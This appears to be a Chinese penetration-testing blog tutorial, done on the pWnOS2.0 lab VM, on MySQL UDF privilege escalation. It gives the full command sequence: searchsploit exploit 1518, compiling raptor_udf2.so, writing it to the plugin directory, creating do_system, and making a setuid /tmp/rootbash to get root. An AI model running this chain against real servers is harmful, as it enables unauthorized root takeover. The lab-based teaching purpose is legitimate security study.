渗透测试:MySQL数据库UDF提权详解

目录

写在开头

简介

提权前提

提权过程

总结与思考

写在开头

本文将介绍渗透测试的常规提权方法——UDF提权。光说不练假把式,为了方便阐述和演示,本文选取了vulhub靶机pWnOS2.0进行演示,该靶机的详细打靶过程见我的上一篇博客:

红队打靶:pWnOS2.0打靶思路详解(vulnhub)

本文介绍的是另外一种提权方法,UDF提权,读者如果没有合适的靶机,但想跟我一起复现这个提权过程,可以先看一下我的上一篇博客,拿到MySQL账号root的登录密码后,继续看本文的“提权过程”小节的内容。读者如果有合适的靶机,或仅仅是想了解UDF提权的原理与方法,可以直接看本文。具体UDF提权的利用过程还与MySQL的版本、服务器的操作系统(windows/linux)相关,本文的靶机是linux系统,MySQL版本>=5.1。

简介

UDF:User Defined Function 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。

提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。

执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下

(1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。

(2)在MySQL中创建指向共享库文件的自定义函数。

(3)通过刚刚创建的函数执行系统命令,实现提权。

提权前提

1.要有一个高权限的MySQL的账号,具有增删改查的权限以创建自定义函数,最好是root账号。

查看当前登录用户(以下两行均可):

select user();
select current_user;

 

 如上图,我们这里登录的用户是root,非常完美。如果不是root,可以用以下命令查看特定用户的权限,可以将root修改为任意用户,\G每个字段打印到单独的行,也有’;’的作用:

SELECT * FROM mysql.user WHERE user='root'\G

 可以看到root账号的权限基本都是Y(Yes),权限很高。还可以用如下的命令查看数据库的所有用户:

SELECT user,host FROM mysql.user;

 2.MySQL的权限配置secure_file_priv为空,此时load_data,into outfile,load_flie()都没有目录的限制,可以使用如下命令查看secure_file_priv参数的值:

show variables like '%secure_file_priv%';

 如上图,这种情况就是理想的情况,只有Value值是空才有可能进行UDF提权。

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。secure_file_priv的值为null表示限制mysql不允许导入/导出,secure_file_priv的值为/tmp/ 表示限制mysql的导入/导出只能发生在/tmp/目录下。仅当secure_file_priv的值没有具体值时表示不对mysql 的导入/导出做限制

3.必须有创建函数的目录,这个目录与MySQL的版本有关,对于MySQL>=5.1的版本,创建函数的目录是plugin,可以用如下的命令查看:

show variables like '%plugin%';

 如上图就是理想情况,只有存在这个目录才有可能进行UDF提权。

提权过程

先找漏洞利用的poc,用kali中的searchsploit搜索即可,命令如下:

searchsploit mysql udf 

此处我们可以根据MySQL的版本进行选择,这里选择比较通用的第二条1518.c,把1518.c下载下来:

searchsploit mysql udf -m 1518

 然后我们查看1518.c,看看如何利用:

cat 1518.c

1518.c中的内容有很多,我们重点看用法Usage中的内容,读者如果单纯想进行提权,只要一步一步copy下图中的命令即可,注意修改路径即可

 用法中首先使用gcc编译,编译的文件名为raptor_udf2.c,因此我们可以先将这个1518.c改名为raptor_udf2.c,方便后续操作,命令如下:

mv 1518.c raptor_udf2.c

 然后进行gcc编译,这里最好在靶机中编译(而不是kali),因为不同环境的编译结果可能不一样,既然要对靶机提权,那就在靶机中进行编译。此处我已经拿到了靶机的初始shell(www-data的shell),并把raptor_udf2.c源代码上传到了/var/www/blog/images目录下。(如果读者和我一样都是用pWnOS2.0靶机,直接利用上一篇博客中提到的文件上传漏洞,把.c文件上传images目录即可。如果读者使用其他靶机,可以先在kali中开启一个http服务,然后通过靶机的shell使用wget的方法把raptor_udf2.c下载到靶机上,也可以用webshell管理工具蚁剑冰蝎啥的进行上传,要记住靶机中raptor_udf2.c的路径)

下图是靶机的shell,此时raptor_udf2.c已经上传,如下:

 然后对源代码raptor_udf2.c进行编译,命令如下:

gcc -g -c raptor_udf2.c -fPIC

该命令是使用gcc编译器来编译名为"raptor_udf2.c"的源代码文件,并生成一个目标文件(object file)。

  • -g:这个参数告诉编译器在目标文件中包含调试信息。这将使得在调试程序时可以获得更多的信息,例如变量的值和源代码的行号。

  • -c:这个参数告诉编译器只进行编译而不进行链接。它将源代码文件编译成一个目标文件,而不是生成可执行文件。这在构建大型程序时通常是一个常用的步骤。通常会生成.o文件。

  • -fPIC:虽然Usage中没有提到这个参数,但还是建议加上。这个参数指定编译为位置独立代码(Position Independent Code)。位置独立代码是一种可执行代码的格式,它可以在内存中的任何位置加载和执行,而不依赖于特定的内存布局。这在生成共享库(shared library)时非常有用,因为共享库可以加载到进程的任何地址空间中。

 如下图,成功生成了编译后的raptor_udf2.o文件。

 接着按照1518.c中注释的Usage一步一步执行命令即可,下一条命令是:

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

至于这条命令的含义并不是本文重点,读者可以忽略这段话。这里还是给有兴趣的读者解释一下:该命令是使用gcc编译器将名为"raptor_udf2.o"的目标文件链接为一个共享库(shared library)文件,并命名为"raptor_udf2.so"。下面是每个选项的解释:

  • -g:这个选项告诉编译器在生成的共享库文件中包含调试信息。

  • -shared:这个选项指定编译器生成一个共享库文件,而不是可执行文件。共享库是一种可被多个程序共享和重用的代码库。

  • -Wl,-soname,raptor_udf2.so:这个选项将"-soname"参数传递给链接器(ld)。"-soname"用于指定生成的共享库文件的名字,这里是"raptor_udf2.so"。

  • -o raptor_udf2.so:这个选项指定生成的共享库文件的输出文件名,这里是"raptor_udf2.so"。

  • raptor_udf2.o:这是要链接的目标文件的名称。

  • -lc:这个选项告诉链接器使用C标准库(libc)。

 然后我们登录靶机上的MySQL,需要有一个高权限的用户,对于靶机pWnOS2.0,我已经搞到了数据库root账号的密码,登录即可:

mysql -u root -p
输入密码

 然后按照1518.c中的Usage一步一步复制命令就行了,我这里再对每条命令做一个解释,读者懒得看的话可以跳过我的解释

use mysql;
create table foo(line blob);

 首先,use mysql;语句用于切换当前数据库为"mysql"。这意味着接下来的操作将在"mysql"数据库上执行。接下来的语句是CREATE TABLE foo(line blob);。表示在当前数据库中创建一个名为"foo"的表。该表只有一个列名为"line",并且该列的数据类型是BLOB(二进制大对象)。BLOB类型用于存储二进制数据,如图像、音频、视频等。

insert into foo values(load_file('/var/www/blog/images/raptor_udf2.so'));

 该SQL语句将加载'/var/www/blog/images/raptor_udf2.so'文件的内容,并将其作为二进制数据插入到"foo"表的"line"列中。

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

 该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到'/usr/lib/mysql/plugin/raptor_udf2.so'文件中。特别注意,这里的写入路径是plugin目录的路径,在“提权前提”小节中已经提到,如果你不知道plugin目录的路径,可以用show variables like '%plugin%';进行查看。

create function do_system returns integer soname 'raptor_udf2.so';

 这个SQL语句用于在MySQL中创建一个名为"do_system"的函数,该函数返回一个整数值。该函数的实现由外部库"raptor_udf2.so"提供,而raptor_udf2.so就是我们的写入的payload。使用命令select * from mysql.func; 查看我们是否成功创建了函数,如下图,成功创建函数do_system。

 此时我们应该可以使用do_system函数执行任意系统命令了。那么我们可以do_system函数进行提权。命令如下:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

 do_system中的这条Linux命令是将/bin/bash(Bash shell可执行文件)复制到/tmp目录下,并将复制后的文件命名为rootbash。接着,使用chmod命令给/tmp/rootbash设置权限,使用+xs参数将其设为可执行文件,并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可,先退出MySQL,然后运行rootbash:

/tmp/rootbash -p

 成功提权为root,可以执行任何命令了。

 至此提权成功!

总结与思考

 本文详解了渗透测试的一种提权思路:MySQL UDF提权。与常规的提权原理相似,较低权限的用户能够以高权限执行命令(MySQL数据库能够执行系统命令)。进行MySQL提权的前提还是比较苛刻的,尤其是对于函数目录的要求,如果MySQL没有对应的自定义函数目录,那么这条路是很难走通的。至本文涉及到执行系统命令的共享库raptor_udf的源码,并不需要我们来编写,我们只要会用即可。

写这篇博客前,我还看了csdn上有关udf提权的其他文章,感觉还是有所欠缺,要么是没法复现,要么是为了验证提权而手工创建了一个环境(相当于为了进行漏洞利用而创造漏洞,然后再进行演示。)而本文则是基于一个真实的靶机,介绍这种提权过程。

 当然,我也是个精力有限菜鸡,可能本文还是有很多理解不够到位的地方,欢迎读者们评论区指出与交流。创作不易,如果各位读者觉得我写的还不错的话,恳请多多点赞收藏关注支持,如果有任何疑问也可以评论区指出,我一定知无不言!

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131424479